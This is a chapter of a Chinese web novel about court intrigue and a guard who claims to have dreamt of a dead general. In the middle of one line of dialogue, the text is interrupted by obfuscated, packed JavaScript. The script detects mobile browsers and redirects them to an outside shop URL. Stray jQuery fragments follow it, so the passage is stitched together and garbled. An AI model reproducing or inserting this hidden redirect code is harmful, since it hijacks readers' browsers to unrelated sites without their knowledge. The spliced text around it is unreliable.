这日朝事议得利落,辰时未至已结束。
秦信从前殿步出,回勤政殿的中途,他脚步倏地一顿,目光越过粼粼湖面,落在正领兵巡逻的御林军首领身上。
竟是沈以贵。
秦信眉峰微蹙,有些意外。
眼前的沈以贵和这几年形容落拓,仿佛被抽干了精气神的模样截然不同。此时,他走在队列的前头,身姿挺拔,目光如炬,那股久违的机敏狡黠劲儿,似又陡然重新注入了他的身体里。
不知为何,秦信隐隐觉得把这事弄清楚很重要。
收回视线,他一边往前走,一边沉声命令:“宣沈以贵到勤政殿。”
冯简绕过湖,与那队巡逻的御林军迎面相遇。
“统领!”沈以贵率先打招呼,声音响亮,笑容爽朗。
熟悉的笑脸让冯简一阵恍惚,他上下打量着旧友,脸上现出惊异:“你这是想通了?”
沈以贵收起笑容,露出愧色:“是,想通了。过去的事,再后悔自责也不能挽回,总是沉在过去里只会错上加错。皇上仁厚,这几年我当差三天打鱼两天晒网,也没撤下我的职位,皇恩深重,再不敢辜负。”
“好!早该如此!”冯简心中大慰,一拳捶在他肩头,“以后好好当差!”
沈以贵重重点头:“嗯!”
“跟我来,皇上召见。”冯简示意。
沈以贵面上露出点忐忑:“皇上召见?莫非是为我从前犯糊涂?”
“现在知道怕了?早干嘛去了?”冯简没好气,可对上他不安的眼,想起他因衡王之死颓废这些年,好不容易才振作起来,心又软了,安慰道,“放心,皇上,只是问问话。”
沈以贵夸张地长吐出一口气,笑着道:“那我们快点去。”
——
勤政殿,气氛凝滞。
裴轩面色惶恐,冷汗涔涔:“皇上,臣、臣并无恶意,当真只是……只是与秦状元玩笑。”
今天大朝会结束,他正欲离开,却被内侍宣召至此。在殿门口撞见同样被领来的秦实时,他心头便咯噔了一下。果然,皇上开口便问他昨日进士游街砸马之事。
他本想抵赖,可锦衣卫把他昨天的举动都一丝不差地描述了出来,他只得托词玩笑,希望能蒙混过关。
秦信目光转向一旁的秦实,声音辨不出喜怒:“秦修撰,裴主事与你可是旧识?可随意玩笑至此?”
秦实飞快地瞥了裴轩一眼,脸上露出昨日听闻砸马者身份时同样的畏缩。他看看裴轩,又偷瞄一眼龙椅上的帝王,那副战战兢兢的模样,殿中所有人都能轻易看出他的左右为难。
最终,他似不敢欺君,小声道:“回皇上,臣是昨日马匹受惊之后,才识得裴主事。”
裴轩腿一软,跪倒在地。
上头传来冰冷的宣判:“妄言欺君,扰乱国仪,着降职一级。”
降一级!
裴轩霍然抬头,满是不敢置信地望向上座。
六品变七品,连大朝会的资格都没了!
堂兄竟如此绝情!
封赏时忽略他,只给个无实权的礼部主事,连身边的近卫冯简等人都封了伯爵,却没给他一个爵位。
如今竟还要如此折辱他!
“不服?”沉冷的问话响起。
裴轩对上那双幽深的凤眸,里面没有半分亲情暖意,只有审视死物的漠然。
他瞬间记起几年前,因与姜家女冲突而被罚军棍,那时堂兄看他的眼神,也是这样。
后背陡然灼痛起来,好似那时的军棍又落在了身上。
“臣不敢!”他慌忙拜伏在地,声音发抖。
他不知自己是如何走出大殿的。
走下殿前台阶时,他脚下一软,一个趔趄,差点摔倒时,胳膊被人稳稳扶住。
他站稳后侧头看过去,竟是秦实。
“裴主事,小心脚下。”
这位新科状元,翰林院六品修撰,脸上依旧是那副拘谨畏缩的神情,可他贴在裴轩耳边的低语,却充满讥诮:“哦,一时忘了,裴大人如今是七品,称不得‘主事’了。”
“你!”裴轩再想不到秦状元是这样一个假装老实的人,他怒目圆睁,声音拔高。
“裴大人息怒!真不是我禀报皇上的!”秦实跟着提高音量,语调惶恐,仿佛受了极大惊吓。
守在门口的内侍目光立刻被吸引过来。
裴轩气得浑身发抖。
真是被扣了好大一口黑锅。
“姓秦的,你别得意!再怎么贬斥,我和皇上血脉相连,你一个外姓人,还想翻天压我一头?你等着,我总有再起来的一天,那时我饶不了你!”他咬牙切齿地低声道。
“好,我等着。”秦实也压低了声音,慢慢道,“不过,裴大人似乎忘了,我和皇上都姓秦,认真论起来,你才是外姓人。”
裴轩:“!”
秦实迎着他瞪大的眼,嘴角勾起一丝若有若无的弧度:“至于说翻天,我从未想过,真正想翻天的,是裴尚书和裴大人吧?只是可惜……”他仿佛很惋惜似的摇头,“令公子姓裴,不姓秦。皇上可是很不喜欢裴这个姓呢。”
仿佛一道惊雷在裴轩脑中炸开。
那个藏在心底最深处,因堂兄不近女色,近来在心底悄然生起的最隐秘的念头,竟被此人一语道破!
状元郎那双眼,此刻清明锐利得可怕,好似将他从头到脚,连胸口的那颗心,都看得一清二楚。那张朴厚的脸,此刻在他眼中,犹如索命的恶鬼。
他全身的血液都冻结了,僵在那里动弹不得。
“裴主事?秦修撰?”
惊疑的叫声传来,裴轩猛地回神,循声看去。
冯简和沈以贵正朝这里走过来,刚刚开口的是冯简,而两人的目光都盯着这边,视线在他和秦实之间来回打转,神色狐疑。
裴轩低头,发现秦实还扶着自己的胳膊,他猛地甩开,几步跨下台阶,往前狂奔而去。
冯简和沈以贵望着从面前而过,不顾宫规奔跑的背影,不明所以地面面相觑。
“怎么一副见了鬼的模样?”冯简嘀咕道。
秦实走过来,苦着脸向两人解释:“皇上追究裴大人昨日砸马之事,降了他的职。”
两人恍然。
看方才的情景,想必裴轩因此恨上了秦状元。
安慰了秦实几句,两人步入殿内。
秦实走下台阶,掸掸衣袖,目光投向裴国公府的方向,幽幽闪烁:“这一世可是皇位呢,裴祥光,你的手段当更加狠辣吧?”
细微的声音飘散在空气中,没一个人听见。
——
沈以贵进殿,向皇上行礼。
秦信开门见山问他为何突然振作。
沈以贵满面诚恳和愧疚,将湖边对冯简那番“幡然醒悟,愧对皇恩”的说辞又说了一遍,言辞恳切。
秦信听完,淡淡瞥他一眼:“说实话。”
沈以贵心头猛跳,脑中念头急转,面上却纹丝不动,道:“臣不敢欺君,确实是醒悟以前之错。不过,臣突然醒悟,是因昨晚一个梦。”
一旁的冯简暗自诧异:“劝了几年油盐不进,竟是被一个梦点化了?”
秦信追问:“什么梦?”
沈以贵口齿清晰,掷地有声地道:“臣梦见将军了!”
秦信眼眸骤然大张,捏着佛珠的手指不自觉加大力道,声音沙哑地问:“什么?”
“臣梦见将军了!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967458|188379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”沈以贵一鼓作气地说下去,“那梦很清楚,像真的一样。将军狠狠训斥了臣一顿,命臣振作起来,务必护好皇上周全。”
“他说,让你护我周全?”艰涩的声音从喉咙里挤出。
“是。”
秦信闭了闭眼,深吸一口气,再问道:“他气色如何?身上、脸上可有烧伤?”
“没有烧伤。”沈以贵语气笃定,“将军容光焕发,面色红润,与生前一般无二。”
“那,他胸口呢?可有表现出疼楚?行动间可有沉滞?”
“没有,将军身形灵便,还指导臣武术。”
秦信紧绷的身体一下子松懈下来,颓然靠向椅背,急喘了几口气,又急切地问道:“他穿的什么衣裳?”
沈以贵想了想,说了一个最普通的衣裳样式:“一身黑色武服,下摆绣着云纹。”
“刀呢?霹雳刀在这里,他拿的什么刀?”
“一把横刀,式样和霹雳刀差不多,锋锐无比,是把宝刀。”
秦信问了很多,从衣着佩饰到神情言语,直到问无可问,这才停下来。
好一会,他没说话,眼望前方,却散乱没有焦距。
大殿陷入一片死寂,沉重得令人窒息。
冯简和沈以贵屏息垂首,只觉一股无形的压力,压得他们喘不过气。
良久,一声低低的的叹息响起:“这样清晰,怎么入我的梦,每回都只是一个模糊的影子,连面容都看不清呢?”
皇帝半垂着眼,坐在光线昏暗处,神情呆怔,一身寥落。
冯简心中蓦地一阵酸痛。
沈以贵低下头。
就在这时,一个军士匆匆进来,脸上惊疑与迷茫交织,混合成一种说不出的神情:“皇上!衡王墓驻守御林军与道长急报!昨夜衡王的魂魄,显灵于姜允、徐真两位居士的墓前!”
秦信霍地站起,全身的血液都涌向头顶。
“快宣!”
沈以贵愕然抬头,看看那报信的军士,又看看苍白面上涌出红晕的皇帝,满心里只剩一个疑惑:谁、谁的魂?
陆戈和三个道士进殿,把昨晚的情形详细说了一遍。
“是皇上诚意感动上苍。”道士激动地拱手,“因此让衡王魂魄返回,与皇上相见。”
“是吗?”秦信双手握成拳,身体前倾,“真是衡王的魂魄回来了?”
道士坚定地回道:“是!”
“皇上,那……人轻功极高,行动如鬼魅……”眼见事情将成定论,陆戈忍不住开口,委婉地道。
秦信转向他:“你是说,那不是衡王魂魄,是人?”
帝王眼中如有两把暗火点燃,灼亮逼人,陆戈一阵心颤,硬着头皮道:“依臣看,有可能是人。”
“除了衡王,哪个人有那样的轻功?哪个人能轻易破解八阵图?”秦信急声反驳。
他呼吸急促,喃喃道:“是他,我知道,是六航,带着火,回来了。”
“我要去见他。他在哪里?墓!他是来探望两位居士的,说不定还会回来!”
他说着向前跨步,却忘了桌子挡在前面,膝盖一下撞在了桌角。
“皇上!”众人惊呼。
听声音,这一下撞得极狠,秦信却像毫无所觉,脸上不见一点痛苦之色,他伸手抓住桌沿,猛力一推,把桌子推到了一边。
“哗啦!”在大力作用下,摆在桌上的笔墨纸砚、奏章文卷滚落一地。
前路已无障碍,秦信冲向殿门。
冯简最快反应过来,疾步跟上。
陆戈与道士们愣了一瞬,也慌忙追了出去。
殿内只剩下沈以贵一人,他踌躇片刻,也出了门,却和众人背道而驰,往皇宫药园走去。